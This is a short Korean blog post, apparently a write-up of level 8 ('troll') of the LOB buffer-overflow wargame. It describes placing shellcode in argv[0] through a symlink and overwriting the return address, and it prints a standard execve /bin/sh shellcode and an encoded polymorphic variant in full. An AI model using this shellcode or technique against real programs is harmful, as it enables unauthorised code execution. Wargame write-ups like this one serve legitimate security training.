zj3t

email: euntaejang@gmail.com

Latest Posts

LOB-level8

By 오후 10:40 ,

이번 문제는 시간이 많이 걸렸습니다. argv[1]에 쉘코드를 넣어도 25자이상이기 때문에 초기화가 되버려서 리턴어드레스 값을 변조해주어도 원하는 실행이 되지 않았습니다. 따라서 생각한 방법이 argv[0]을 이용한 방법입니다. 일단 과정부터 첨부하겠습니다.



원래 troll.c 코드에서 argv[0]의 주소를 알아내도록 조작


여기서 많은 시간을 소모했는데 
기존에 쓰던 shellcode, 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

이 것을 쓰면

\x2f가 들어가 원래 존재하는 디렉토리가 아닌 이상은 링크를 해주지 않는다는 것입니다.

따라서 다른 쉘코드를 썼습니다.

\x2f가 없는 다형성 쉘코드: "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`





argv[1]에서는 어차피 buffer가 초기화 되기 때문에 sfp까지 NULL로 채운뒤 리턴어드레스만  argv[0]의 시작주소를 주면 답을 얻을 수가 있었습니다.

You Might Also Like

0 개의 댓글